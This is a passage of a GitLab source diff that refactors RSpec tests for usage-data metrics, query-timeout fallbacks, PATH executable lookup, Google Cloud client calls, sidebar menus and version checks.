+ packages: { enabled: true, object_store: { enabled: false, direct_upload: false, background_upload: true, provider: "AWS" } } }
)
end
@@ -747,23 +684,50 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
- it 'works when queries time out' do
- allow_any_instance_of(ActiveRecord::Relation)
- .to receive(:count).and_raise(ActiveRecord::StatementInvalid.new(''))
+ context 'when queries time out' do
+ let(:metric_method) { :count }
+
+ before do
+ allow_any_instance_of(ActiveRecord::Relation).to receive(metric_method).and_raise(ActiveRecord::StatementInvalid)
+ allow(Gitlab::ErrorTracking).to receive(:should_raise_for_dev?).and_return(should_raise_for_dev)
+ end
+
+ context 'with should_raise_for_dev? true' do
+ let(:should_raise_for_dev) { true }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ActiveRecord::StatementInvalid)
+ end
+
+ context 'when metric calls find_in_batches' do
+ let(:metric_method) { :find_in_batches }
+
+ it 'raises an error for jira_usage' do
+ expect { described_class.jira_usage }.to raise_error(ActiveRecord::StatementInvalid)
+ end
+ end
+ end
+
+ context 'with should_raise_for_dev? false' do
+ let(:should_raise_for_dev) { false }
+
+ it 'does not raise an error' do
+ expect { subject }.not_to raise_error
+ end
- expect { subject }.not_to raise_error
+ context 'when metric calls find_in_batches' do
+ let(:metric_method) { :find_in_batches }
+
+ it 'does not raise an error for jira_usage' do
+ expect { described_class.jira_usage }.not_to raise_error
+ end
+ end
+ end
end
it 'includes a recording_ce_finished_at timestamp' do
expect(subject[:recording_ce_finished_at]).to be_a(Time)
end
-
- it 'jira usage works when queries time out' do
- allow_any_instance_of(ActiveRecord::Relation)
- .to receive(:find_in_batches).and_raise(ActiveRecord::StatementInvalid.new(''))
-
- expect { described_class.jira_usage }.not_to raise_error
- end
end
describe '.system_usage_data_monthly' do
@@ -873,37 +837,12 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
subject { described_class.license_usage_data }
it 'gathers license data' do
+ expect(subject[:uuid]).to eq(Gitlab::CurrentSettings.uuid)
expect(subject[:version]).to eq(Gitlab::VERSION)
expect(subject[:installation_type]).to eq('gitlab-development-kit')
+ expect(subject[:active_user_count]).to eq(User.active.size)
expect(subject[:recorded_at]).to be_a(Time)
end
-
- context 'with usage_data_instrumentation feature flag' do
- context 'when enabled' do
- it 'merges uuid and hostname data from instrumentation classes' do
- stub_feature_flags(usage_data_instrumentation: true)
-
- expect(subject[:uuid]).to eq(Gitlab::Utils::UsageData::INSTRUMENTATION_CLASS_FALLBACK)
- expect(subject[:hostname]).to eq(Gitlab::Utils::UsageData::INSTRUMENTATION_CLASS_FALLBACK)
- expect(subject[:active_user_count]).to eq(Gitlab::Utils::UsageData::INSTRUMENTATION_CLASS_FALLBACK)
-
- uncached_data = described_class.data
- expect(uncached_data[:uuid]).to eq(Gitlab::CurrentSettings.uuid)
- expect(uncached_data[:hostname]).to eq(Gitlab.config.gitlab.host)
- expect(uncached_data[:active_user_count]).to eq(User.active.size)
- end
- end
-
- context 'when disabled' do
- it 'does not merge uuid and hostname data from instrumentation classes' do
- stub_feature_flags(usage_data_instrumentation: false)
-
- expect(subject[:uuid]).to eq(Gitlab::CurrentSettings.uuid)
- expect(subject[:hostname]).to eq(Gitlab.config.gitlab.host)
- expect(subject[:active_user_count]).to eq(User.active.size)
- end
- end
- end
end
context 'when not relying on database records' do
@@ -1139,6 +1078,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
describe ".system_usage_data_settings" do
let(:prometheus_client) { double(Gitlab::PrometheusClient) }
+ let(:snowplow_gitlab_host?) { Gitlab::CurrentSettings.snowplow_collector_hostname == 'snowplow.trx.gitlab.net' }
before do
allow(described_class).to receive(:operating_system).and_return('ubuntu-20.04')
@@ -1166,51 +1106,34 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(subject[:settings][:gitaly_apdex]).to be_within(0.001).of(0.95)
end
- context 'with usage_data_instrumentation feature flag' do
- context 'when enabled' do
- before do
- stub_feature_flags(usage_data_instrumentation: true)
- end
-
- it 'reports collected data categories' do
- expected_value = %w[standard subscription operational optional]
+ it 'reports collected data categories' do
+ expected_value = %w[standard subscription operational optional]
- allow_next_instance_of(ServicePing::PermitDataCategoriesService) do |instance|
- expect(instance).to receive(:execute).and_return(expected_value)
- end
-
- expect(described_class.data[:settings][:collected_data_categories]).to eq(expected_value)
- end
-
- it 'gathers service_ping_features_enabled' do
- expect(described_class.data[:settings][:service_ping_features_enabled]).to eq(Gitlab::CurrentSettings.usage_ping_features_enabled)
- end
+ allow_next_instance_of(ServicePing::PermitDataCategoriesService) do |instance|
+ expect(instance).to receive(:execute).and_return(expected_value)
end
- context 'when disabled' do
- before do
- stub_feature_flags(usage_data_instrumentation: false)
- end
-
- it 'reports collected data categories' do
- expected_value = %w[standard subscription operational optional]
-
- allow_next_instance_of(ServicePing::PermitDataCategoriesService) do |instance|
- expect(instance).to receive(:execute).and_return(expected_value)
- end
-
- expect(subject[:settings][:collected_data_categories]).to eq(expected_value)
- end
+ expect(subject[:settings][:collected_data_categories]).to eq(expected_value)
+ end
- it 'gathers service_ping_features_enabled' do
- expect(subject[:settings][:service_ping_features_enabled]).to eq(Gitlab::CurrentSettings.usage_ping_features_enabled)
- end
- end
+ it 'gathers service_ping_features_enabled' do
+ expect(subject[:settings][:service_ping_features_enabled]).to eq(Gitlab::CurrentSettings.usage_ping_features_enabled)
end
it 'gathers user_cap_feature_enabled' do
expect(subject[:settings][:user_cap_feature_enabled]).to eq(Gitlab::CurrentSettings.new_user_signups_cap)
end
+
+ context 'snowplow stats' do
+ before do
+ stub_feature_flags(usage_data_instrumentation: false)
+ end
+
+ it 'gathers snowplow stats' do
+ expect(subject[:settings][:snowplow_enabled]).to eq(Gitlab::CurrentSettings.snowplow_enabled?)
+ expect(subject[:settings][:snowplow_configured_to_gitlab_collector]).to eq(snowplow_gitlab_host?)
+ end
+ end
end
end
@@ -1332,6 +1255,9 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
'i_analytics_cohorts' => 123,
'i_analytics_dev_ops_score' => 123,
'i_analytics_instance_statistics' => 123,
+ 'p_analytics_ci_cd_deployment_frequency' => 123,
+ 'p_analytics_ci_cd_lead_time' => 123,
+ 'p_analytics_ci_cd_pipelines' => 123,
'p_analytics_merge_request' => 123,
'i_analytics_dev_ops_adoption' => 123,
'users_viewing_analytics_group_devops_adoption' => 123,
@@ -1402,33 +1328,21 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
let(:categories) { ::Gitlab::UsageDataCounters::HLLRedisCounter.categories }
- context 'with redis_hll_tracking feature enabled' do
- it 'has all known_events' do
- stub_feature_flags(redis_hll_tracking: true)
-
- expect(subject).to have_key(:redis_hll_counters)
+ it 'has all known_events' do
+ expect(subject).to have_key(:redis_hll_counters)
- expect(subject[:redis_hll_counters].keys).to match_array(categories)
+ expect(subject[:redis_hll_counters].keys).to match_array(categories)
- categories.each do |category|
- keys = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(category)
+ categories.each do |category|
+ keys = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(category)
- metrics = keys.map { |key| "#{key}_weekly" } + keys.map { |key| "#{key}_monthly" }
+ metrics = keys.map { |key| "#{key}_weekly" } + keys.map { |key| "#{key}_monthly" }
- if ::Gitlab::UsageDataCounters::HLLRedisCounter::CATEGORIES_FOR_TOTALS.include?(category)
- metrics.append("#{category}_total_unique_counts_weekly", "#{category}_total_unique_counts_monthly")
- end
-
- expect(subject[:redis_hll_counters][category].keys).to match_array(metrics)
+ if ::Gitlab::UsageDataCounters::HLLRedisCounter::CATEGORIES_FOR_TOTALS.include?(category)
+ metrics.append("#{category}_total_unique_counts_weekly", "#{category}_total_unique_counts_monthly")
end
- end
- end
- context 'with redis_hll_tracking disabled' do
- it 'does not have redis_hll_tracking key' do
- stub_feature_flags(redis_hll_tracking: false)
-
- expect(subject).not_to have_key(:redis_hll_counters)
+ expect(subject[:redis_hll_counters][category].keys).to match_array(metrics)
end
end
end
@@ -1468,46 +1382,58 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
context 'when queries time out' do
before do
- allow_any_instance_of(ActiveRecord::Relation)
- .to receive(:count).and_raise(ActiveRecord::StatementInvalid.new(''))
+ allow_any_instance_of(ActiveRecord::Relation).to receive(:count).and_raise(ActiveRecord::StatementInvalid)
+ allow(Gitlab::ErrorTracking).to receive(:should_raise_for_dev?).and_return(should_raise_for_dev)
end
- it 'returns -1 for email campaign data' do
- expected_data = {
- "in_product_marketing_email_create_0_sent" => -1,
- "in_product_marketing_email_create_0_cta_clicked" => -1,
- "in_product_marketing_email_create_1_sent" => -1,
- "in_product_marketing_email_create_1_cta_clicked" => -1,
- "in_product_marketing_email_create_2_sent" => -1,
- "in_product_marketing_email_create_2_cta_clicked" => -1,
- "in_product_marketing_email_team_short_0_sent" => -1,
- "in_product_marketing_email_team_short_0_cta_clicked" => -1,
- "in_product_marketing_email_trial_short_0_sent" => -1,
- "in_product_marketing_email_trial_short_0_cta_clicked" => -1,
- "in_product_marketing_email_admin_verify_0_sent" => -1,
- "in_product_marketing_email_admin_verify_0_cta_clicked" => -1,
- "in_product_marketing_email_verify_0_sent" => -1,
- "in_product_marketing_email_verify_0_cta_clicked" => -1,
- "in_product_marketing_email_verify_1_sent" => -1,
- "in_product_marketing_email_verify_1_cta_clicked" => -1,
- "in_product_marketing_email_verify_2_sent" => -1,
- "in_product_marketing_email_verify_2_cta_clicked" => -1,
- "in_product_marketing_email_trial_0_sent" => -1,
- "in_product_marketing_email_trial_0_cta_clicked" => -1,
- "in_product_marketing_email_trial_1_sent" => -1,
- "in_product_marketing_email_trial_1_cta_clicked" => -1,
- "in_product_marketing_email_trial_2_sent" => -1,
- "in_product_marketing_email_trial_2_cta_clicked" => -1,
- "in_product_marketing_email_team_0_sent" => -1,
- "in_product_marketing_email_team_0_cta_clicked" => -1,
- "in_product_marketing_email_team_1_sent" => -1,
- "in_product_marketing_email_team_1_cta_clicked" => -1,
- "in_product_marketing_email_team_2_sent" => -1,
- "in_product_marketing_email_team_2_cta_clicked" => -1,
- "in_product_marketing_email_experience_0_sent" => -1
- }
+ context 'with should_raise_for_dev? true' do
+ let(:should_raise_for_dev) { true }
- expect(subject).to eq(expected_data)
+ it 'raises an error' do
+ expect { subject }.to raise_error(ActiveRecord::StatementInvalid)
+ end
+ end
+
+ context 'with should_raise_for_dev? false' do
+ let(:should_raise_for_dev) { false }
+
+ it 'returns -1 for email campaign data' do
+ expected_data = {
+ "in_product_marketing_email_create_0_sent" => -1,
+ "in_product_marketing_email_create_0_cta_clicked" => -1,
+ "in_product_marketing_email_create_1_sent" => -1,
+ "in_product_marketing_email_create_1_cta_clicked" => -1,
+ "in_product_marketing_email_create_2_sent" => -1,
+ "in_product_marketing_email_create_2_cta_clicked" => -1,
+ "in_product_marketing_email_team_short_0_sent" => -1,
+ "in_product_marketing_email_team_short_0_cta_clicked" => -1,
+ "in_product_marketing_email_trial_short_0_sent" => -1,
+ "in_product_marketing_email_trial_short_0_cta_clicked" => -1,
+ "in_product_marketing_email_admin_verify_0_sent" => -1,
+ "in_product_marketing_email_admin_verify_0_cta_clicked" => -1,
+ "in_product_marketing_email_verify_0_sent" => -1,
+ "in_product_marketing_email_verify_0_cta_clicked" => -1,
+ "in_product_marketing_email_verify_1_sent" => -1,
+ "in_product_marketing_email_verify_1_cta_clicked" => -1,
+ "in_product_marketing_email_verify_2_sent" => -1,
+ "in_product_marketing_email_verify_2_cta_clicked" => -1,
+ "in_product_marketing_email_trial_0_sent" => -1,
+ "in_product_marketing_email_trial_0_cta_clicked" => -1,
+ "in_product_marketing_email_trial_1_sent" => -1,
+ "in_product_marketing_email_trial_1_cta_clicked" => -1,
+ "in_product_marketing_email_trial_2_sent" => -1,
+ "in_product_marketing_email_trial_2_cta_clicked" => -1,
+ "in_product_marketing_email_team_0_sent" => -1,
+ "in_product_marketing_email_team_0_cta_clicked" => -1,
+ "in_product_marketing_email_team_1_sent" => -1,
+ "in_product_marketing_email_team_1_cta_clicked" => -1,
+ "in_product_marketing_email_team_2_sent" => -1,
+ "in_product_marketing_email_team_2_cta_clicked" => -1,
+ "in_product_marketing_email_experience_0_sent" => -1
+ }
+
+ expect(subject).to eq(expected_data)
+ end
end
end
diff --git a/spec/lib/gitlab/utils/usage_data_spec.rb b/spec/lib/gitlab/utils/usage_data_spec.rb
index e721b28ac29..325ace6fbbf 100644
--- a/spec/lib/gitlab/utils/usage_data_spec.rb
+++ b/spec/lib/gitlab/utils/usage_data_spec.rb
@@ -5,32 +5,38 @@ require 'spec_helper'
RSpec.describe Gitlab::Utils::UsageData do
include Database::DatabaseHelpers
- describe '#add_metric' do
- let(:metric) { 'UuidMetric'}
+ shared_examples 'failing hardening method' do
+ before do
+ allow(Gitlab::ErrorTracking).to receive(:should_raise_for_dev?).and_return(should_raise_for_dev)
+ stub_const("Gitlab::Utils::UsageData::FALLBACK", fallback)
+ allow(failing_class).to receive(failing_method).and_raise(ActiveRecord::StatementInvalid)
+ end
- context 'with usage_data_instrumentation feature flag' do
- context 'when enabled' do
- before do
- stub_feature_flags(usage_data_instrumentation: true)
- end
+ context 'with should_raise_for_dev? false' do
+ let(:should_raise_for_dev) { false }
- it 'returns -100 value to be overriden' do
- expect(described_class.add_metric(metric)).to eq(-100)
- end
+ it 'returns the fallback' do
+ expect(subject).to eq(fallback)
end
+ end
- context 'when disabled' do
- before do
- stub_feature_flags(usage_data_instrumentation: false)
- end
+ context 'with should_raise_for_dev? true' do
+ let(:should_raise_for_dev) { true }
- it 'computes the metric value for given metric' do
- expect(described_class.add_metric(metric)).to eq(Gitlab::CurrentSettings.uuid)
- end
+ it 'raises an error' do
+ expect { subject }.to raise_error(ActiveRecord::StatementInvalid)
end
end
end
+ describe '#add_metric' do
+ let(:metric) { 'UuidMetric'}
+
+ it 'computes the metric value for given metric' do
+ expect(described_class.add_metric(metric)).to eq(Gitlab::CurrentSettings.uuid)
+ end
+ end
+
describe '#count' do
let(:relation) { double(:relation) }
@@ -40,11 +46,14 @@ RSpec.describe Gitlab::Utils::UsageData do
expect(described_class.count(relation, batch: false)).to eq(1)
end
- it 'returns the fallback value when counting fails' do
- stub_const("Gitlab::Utils::UsageData::FALLBACK", 15)
- allow(relation).to receive(:count).and_raise(ActiveRecord::StatementInvalid.new(''))
+ context 'when counting fails' do
+ subject { described_class.count(relation, batch: false) }
- expect(described_class.count(relation, batch: false)).to eq(15)
+ let(:fallback) { 15 }
+ let(:failing_class) { relation }
+ let(:failing_method) { :count }
+
+ it_behaves_like 'failing hardening method'
end
end
@@ -57,11 +66,14 @@ RSpec.describe Gitlab::Utils::UsageData do
expect(described_class.distinct_count(relation, batch: false)).to eq(1)
end
- it 'returns the fallback value when counting fails' do
- stub_const("Gitlab::Utils::UsageData::FALLBACK", 15)
- allow(relation).to receive(:distinct_count_by).and_raise(ActiveRecord::StatementInvalid.new(''))
+ context 'when counting fails' do
+ subject { described_class.distinct_count(relation, batch: false) }
+
+ let(:fallback) { 15 }
+ let(:failing_class) { relation }
+ let(:failing_method) { :distinct_count_by }
- expect(described_class.distinct_count(relation, batch: false)).to eq(15)
+ it_behaves_like 'failing hardening method'
end
end
@@ -106,7 +118,7 @@ RSpec.describe Gitlab::Utils::UsageData do
# build_needs set: ['1', '2', '3', '4', '5']
# ci_build set ['a', 'b']
# with them, current implementation is expected to consistently report
- # 5.217656147118495 and 2.0809220082170614 values
+ # the same static values
# This test suite is expected to assure, that HyperLogLog implementation
# behaves consistently between changes made to other parts of codebase.
# In case of fine tuning or changes to HyperLogLog algorithm implementation
@@ -118,8 +130,8 @@ RSpec.describe Gitlab::Utils::UsageData do
let(:model) { Ci::BuildNeed }
let(:column) { :name }
- let(:build_needs_estimated_cardinality) { 5.217656147118495 }
- let(:ci_builds_estimated_cardinality) { 2.0809220082170614 }
+ let(:build_needs_estimated_cardinality) { 5.024574181542231 }
+ let(:ci_builds_estimated_cardinality) { 2.003916452421793 }
before do
allow(model.connection).to receive(:transaction_open?).and_return(false)
@@ -173,14 +185,24 @@ RSpec.describe Gitlab::Utils::UsageData do
stub_const("Gitlab::Utils::UsageData::DISTRIBUTED_HLL_FALLBACK", 4)
end
- it 'returns fallback if counter raises WRONG_CONFIGURATION_ERROR' do
- expect(described_class.estimate_batch_distinct_count(relation, 'id', start: 1, finish: 0)).to eq 3
+ context 'when counter raises WRONG_CONFIGURATION_ERROR' do
+ subject { described_class.estimate_batch_distinct_count(relation, 'id', start: 1, finish: 0) }
+
+ let(:fallback) { 3 }
+ let(:failing_class) { Gitlab::Database::PostgresHll::BatchDistinctCounter }
+ let(:failing_method) { :new }
+
+ it_behaves_like 'failing hardening method'
end
- it 'returns default fallback value when counting fails due to database error' do
- allow(Gitlab::Database::PostgresHll::BatchDistinctCounter).to receive(:new).and_raise(ActiveRecord::StatementInvalid.new(''))
+ context 'when counting fails due to database error' do
+ subject { described_class.estimate_batch_distinct_count(relation) }
+
+ let(:fallback) { 3 }
+ let(:failing_class) { Gitlab::Database::PostgresHll::BatchDistinctCounter }
+ let(:failing_method) { :new }
- expect(described_class.estimate_batch_distinct_count(relation)).to eq(3)
+ it_behaves_like 'failing hardening method'
end
it 'logs error and returns DISTRIBUTED_HLL_FALLBACK value when counting raises any error', :aggregate_failures do
@@ -205,13 +227,14 @@ RSpec.describe Gitlab::Utils::UsageData do
expect(described_class.sum(relation, :column, batch_size: 100, start: 2, finish: 3)).to eq(1)
end
- it 'returns the fallback value when counting fails' do
- stub_const("Gitlab::Utils::UsageData::FALLBACK", 15)
- allow(Gitlab::Database::BatchCount)
- .to receive(:batch_sum)
- .and_raise(ActiveRecord::StatementInvalid.new(''))
+ context 'when counting fails' do
+ subject { described_class.sum(relation, :column) }
- expect(described_class.sum(relation, :column)).to eq(15)
+ let(:fallback) { 15 }
+ let(:failing_class) { Gitlab::Database::BatchCount }
+ let(:failing_method) { :batch_sum }
+
+ it_behaves_like 'failing hardening method'
end
end
@@ -291,23 +314,45 @@ RSpec.describe Gitlab::Utils::UsageData do
expect(histogram).to eq('2' => 1)
end
- it 'returns fallback and logs canceled queries' do
- create(:alert_management_http_integration, :active, project: project1)
+ context 'when query timeout' do
+ subject do
+ with_statement_timeout(0.001) do
+ relation = AlertManagement::HttpIntegration.select('pg_sleep(0.002)')
+ described_class.histogram(relation, column, buckets: 1..100)
+ end
+ end
- expect(Gitlab::AppJsonLogger).to receive(:error).with(
- event: 'histogram',
- relation: relation.table_name,
- operation: 'histogram',
- operation_args: [column, 1, 100, 99],
- query: kind_of(String),
- message: /PG::QueryCanceled/
- )
+ before do
+ allow(Gitlab::ErrorTracking).to receive(:should_raise_for_dev?).and_return(should_raise_for_dev)
+ create(:alert_management_http_integration, :active, project: project1)
+ end
- with_statement_timeout(0.001) do
- relation = AlertManagement::HttpIntegration.select('pg_sleep(0.002)')
- histogram = described_class.histogram(relation, column, buckets: 1..100)
+ context 'with should_raise_for_dev? false' do
+ let(:should_raise_for_dev) { false }
+
+ it 'logs canceled queries' do
+ expect(Gitlab::AppJsonLogger).to receive(:error).with(
+ event: 'histogram',
+ relation: relation.table_name,
+ operation: 'histogram',
+ operation_args: [column, 1, 100, 99],
+ query: kind_of(String),
+ message: /PG::QueryCanceled/
+ )
+ subject
+ end
- expect(histogram).to eq(fallback)
+ it 'returns fallback' do
+ expect(subject).to eq(fallback)
+ end
+ end
+
+ context 'with should_raise_for_dev? true' do
+ let(:should_raise_for_dev) { true }
+
+ it 'raises error' do
+ expect { subject }.to raise_error(ActiveRecord::QueryCanceled)
+ end
end
end
end
diff --git a/spec/lib/gitlab/utils_spec.rb b/spec/lib/gitlab/utils_spec.rb
index f1601294c07..d756ec5ef83 100644
--- a/spec/lib/gitlab/utils_spec.rb
+++ b/spec/lib/gitlab/utils_spec.rb
@@ -249,10 +249,16 @@ RSpec.describe Gitlab::Utils do
end
describe '.which' do
- it 'finds the full path to an executable binary' do
- expect(File).to receive(:executable?).with('/bin/sh').and_return(true)
+ before do
+ stub_env('PATH', '/sbin:/usr/bin:/home/joe/bin')
+ end
+
+ it 'finds the full path to an executable binary in order of appearance' do
+ expect(File).to receive(:executable?).with('/sbin/tool').ordered.and_return(false)
+ expect(File).to receive(:executable?).with('/usr/bin/tool').ordered.and_return(true)
+ expect(File).not_to receive(:executable?).with('/home/joe/bin/tool')
- expect(which('sh', 'PATH' => '/bin')).to eq('/bin/sh')
+ expect(which('tool')).to eq('/usr/bin/tool')
end
end
diff --git a/spec/lib/google_api/cloud_platform/client_spec.rb b/spec/lib/google_api/cloud_platform/client_spec.rb
index 3dd8f7c413e..3284c9cd0d1 100644
--- a/spec/lib/google_api/cloud_platform/client_spec.rb
+++ b/spec/lib/google_api/cloud_platform/client_spec.rb
@@ -209,4 +209,47 @@ RSpec.describe GoogleApi::CloudPlatform::Client do
expect(subject.header).to eq({ 'User-Agent': 'GitLab/10.3 (GPN:GitLab;)' })
end
end
+
+ describe '#list_projects' do
+ subject { client.list_projects }
+
+ let(:list_of_projects) { [{}, {}, {}] }
+ let(:next_page_token) { nil }
+ let(:operation) { double('projects': list_of_projects, 'next_page_token': next_page_token) }
+
+ it 'calls Google Api CloudResourceManagerService#list_projects' do
+ expect_any_instance_of(Google::Apis::CloudresourcemanagerV1::CloudResourceManagerService)
+ .to receive(:list_projects)
+ .and_return(operation)
+ is_expected.to eq(list_of_projects)
+ end
+ end
+
+ describe '#create_service_account' do
+ subject { client.create_service_account(spy, spy, spy) }
+
+ let(:operation) { double('Service Account') }
+
+ it 'calls Google Api IamService#create_service_account' do
+ expect_any_instance_of(Google::Apis::IamV1::IamService)
+ .to receive(:create_service_account)
+ .with(any_args)
+ .and_return(operation)
+ is_expected.to eq(operation)
+ end
+ end
+
+ describe '#create_service_account_key' do
+ subject { client.create_service_account_key(spy, spy) }
+
+ let(:operation) { double('Service Account Key') }
+
+ it 'class Google Api IamService#create_service_account_key' do
+ expect_any_instance_of(Google::Apis::IamV1::IamService)
+ .to receive(:create_service_account_key)
+ .with(any_args)
+ .and_return(operation)
+ is_expected.to eq(operation)
+ end
+ end
end
diff --git a/spec/lib/sidebars/concerns/link_with_html_options_spec.rb b/spec/lib/sidebars/concerns/link_with_html_options_spec.rb
new file mode 100644
index 00000000000..1e890bffad1
--- /dev/null
+++ b/spec/lib/sidebars/concerns/link_with_html_options_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Concerns::LinkWithHtmlOptions do
+ let(:options) { {} }
+
+ subject { Class.new { include Sidebars::Concerns::LinkWithHtmlOptions }.new }
+
+ before do
+ allow(subject).to receive(:container_html_options).and_return(options)
+ end
+
+ describe '#link_html_options' do
+ context 'with existing classes' do
+ let(:options) do
+ {
+ class: '_class1_ _class2_',
+ aria: { label: '_label_' }
+ }
+ end
+
+ it 'includes class and default aria-label attribute' do
+ result = {
+ class: '_class1_ _class2_ gl-link',
+ aria: { label: '_label_' }
+ }
+
+ expect(subject.link_html_options).to eq(result)
+ end
+ end
+
+ context 'without existing classes' do
+ it 'includes gl-link class' do
+ expect(subject.link_html_options).to eq(class: 'gl-link')
+ end
+ end
+ end
+end
diff --git a/spec/lib/sidebars/groups/menus/packages_registries_menu_spec.rb b/spec/lib/sidebars/groups/menus/packages_registries_menu_spec.rb
index e954d7a44ba..bc1fa3e88ff 100644
--- a/spec/lib/sidebars/groups/menus/packages_registries_menu_spec.rb
+++ b/spec/lib/sidebars/groups/menus/packages_registries_menu_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Sidebars::Groups::Menus::PackagesRegistriesMenu do
let_it_be(:owner) { create(:user) }
- let_it_be(:group) do
+ let_it_be_with_reload(:group) do
build(:group, :private).tap do |g|
g.add_owner(owner)
end
@@ -70,6 +70,18 @@ RSpec.describe Sidebars::Groups::Menus::PackagesRegistriesMenu do
describe 'Menu items' do
subject { find_menu(menu, item_id) }
+ shared_examples 'the menu entry is available' do
+ it 'the menu item is added to list of menu items' do
+ is_expected.not_to be_nil
+ end
+ end
+
+ shared_examples 'the menu entry is not available' do
+ it 'the menu item is not added to list of menu items' do
+ is_expected.to be_nil
+ end
+ end
+
describe 'Packages Registry' do
let(:item_id) { :packages_registry }
@@ -81,17 +93,13 @@ RSpec.describe Sidebars::Groups::Menus::PackagesRegistriesMenu do
context 'when config package setting is disabled' do
let(:packages_enabled) { false }
- it 'the menu item is not added to list of menu items' do
- is_expected.to be_nil
- end
+ it_behaves_like 'the menu entry is not available'
end
context 'when config package setting is enabled' do
let(:packages_enabled) { true }
- it 'the menu item is added to list of menu items' do
- is_expected.not_to be_nil
- end
+ it_behaves_like 'the menu entry is available'
end
end
end
@@ -107,24 +115,18 @@ RSpec.describe Sidebars::Groups::Menus::PackagesRegistriesMenu do
context 'when config registry setting is disabled' do
let(:container_enabled) { false }
- it 'the menu item is not added to list of menu items' do
- is_expected.to be_nil
- end
+ it_behaves_like 'the menu entry is not available'
end
context 'when config registry setting is enabled' do
let(:container_enabled) { true }
- it 'the menu item is added to list of menu items' do
- is_expected.not_to be_nil
- end
+ it_behaves_like 'the menu entry is available'
context 'when user cannot read container images' do
let(:user) { nil }
- it 'the menu item is not added to list of menu items' do
- is_expected.to be_nil
- end
+ it_behaves_like 'the menu entry is not available'
end
end
end
@@ -141,17 +143,28 @@ RSpec.describe Sidebars::Groups::Menus::PackagesRegistriesMenu do
context 'when config dependency_proxy is enabled' do
let(:dependency_enabled) { true }
- it 'the menu item is added to list of menu items' do
- is_expected.not_to be_nil
+ it_behaves_like 'the menu entry is available'
+
+ context 'when the group settings exist' do
+ let_it_be(:dependency_proxy_group_setting) { create(:dependency_proxy_group_setting, group: group) }
+
+ it_behaves_like 'the menu entry is available'
+
+ context 'when the proxy is disabled at the group level' do
+ before do
+ dependency_proxy_group_setting.enabled = false
+ dependency_proxy_group_setting.save!
+ end
+
+ it_behaves_like 'the menu entry is not available'
+ end
end
end
context 'when config dependency_proxy is not enabled' do
let(:dependency_enabled) { false }
- it 'the menu item is not added to list of menu items' do
- is_expected.to be_nil
- end
+ it_behaves_like 'the menu entry is not available'
end
end
@@ -159,9 +172,7 @@ RSpec.describe Sidebars::Groups::Menus::PackagesRegistriesMenu do
let(:user) { nil }
let(:dependency_enabled) { true }
- it 'the menu item is not added to list of menu items' do
- is_expected.to be_nil
- end
+ it_behaves_like 'the menu entry is not available'
end
end
end
diff --git a/spec/lib/sidebars/menu_spec.rb b/spec/lib/sidebars/menu_spec.rb
index eb6a68f1afd..bdd9f22d5a0 100644
--- a/spec/lib/sidebars/menu_spec.rb
+++ b/spec/lib/sidebars/menu_spec.rb
@@ -153,6 +153,25 @@ RSpec.describe Sidebars::Menu do
end
end
+ describe '#remove_element' do
+ let(:item1) { Sidebars::MenuItem.new(title: 'foo1', link: 'foo1', active_routes: {}, item_id: :foo1) }
+ let(:item2) { Sidebars::MenuItem.new(title: 'foo2', link: 'foo2', active_routes: {}, item_id: :foo2) }
+ let(:item3) { Sidebars::MenuItem.new(title: 'foo3', link: 'foo3', active_routes: {}, item_id: :foo3) }
+ let(:list) { [item1, item2, item3] }
+
+ it 'removes specific element' do
+ menu.remove_element(list, :foo2)
+
+ expect(list).to eq [item1, item3]
+ end
+
+ it 'does not remove nil elements' do
+ menu.remove_element(list, nil)
+
+ expect(list).to eq [item1, item2, item3]
+ end
+ end
+
describe '#container_html_options' do
before do
allow(menu).to receive(:title).and_return('Foo Menu')
diff --git a/spec/lib/sidebars/projects/menus/shimo_menu_spec.rb b/spec/lib/sidebars/projects/menus/shimo_menu_spec.rb
new file mode 100644
index 00000000000..534267a329e
--- /dev/null
+++ b/spec/lib/sidebars/projects/menus/shimo_menu_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Menus::ShimoMenu do
+ let_it_be_with_reload(:project) { create(:project) }
+
+ let(:context) { Sidebars::Projects::Context.new(current_user: project.owner, container: project) }
+
+ subject(:shimo_menu) { described_class.new(context) }
+
+ describe '#render?' do
+ context 'without a valid Shimo integration' do
+ it "doesn't render the menu" do
+ expect(shimo_menu.render?).to be_falsey
+ end
+ end
+
+ context 'with a valid Shimo integration' do
+ let_it_be_with_reload(:shimo_integration) { create(:shimo_integration, project: project) }
+
+ context 'when integration is active' do
+ it 'renders the menu' do
+ expect(shimo_menu.render?).to eq true
+ end
+
+ it 'renders menu link' do
+ expected_url = Rails.application.routes.url_helpers.project_integrations_shimo_path(project)
+ expect(shimo_menu.link).to eq expected_url
+ end
+ end
+
+ context 'when integration is inactive' do
+ before do
+ shimo_integration.update!(active: false)
+ end
+
+ it "doesn't render the menu" do
+ expect(shimo_menu.render?).to eq false
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/version_check_spec.rb b/spec/lib/version_check_spec.rb
index 23c381e241e..d7a772a3f7e 100644
--- a/spec/lib/version_check_spec.rb
+++ b/spec/lib/version_check_spec.rb
@@ -3,9 +3,67 @@
require 'spec_helper'
RSpec.describe VersionCheck do
+ describe '.image_url' do
+ it 'returns the correct URL' do
+ expect(described_class.image_url).to match(%r{\A#{Regexp.escape(described_class.host)}/check\.svg\?gitlab_info=\w+})
+ end
+ end
+
describe '.url' do
it 'returns the correct URL' do
- expect(described_class.url).to match(%r{\A#{Regexp.escape(described_class.host)}/check\.svg\?gitlab_info=\w+})
+ expect(described_class.url).to match(%r{\A#{Regexp.escape(described_class.host)}/check\.json\?gitlab_info=\w+})
+ end
+ end
+
+ describe '#calculate_reactive_cache' do
+ context 'response code is 200' do
+ before do
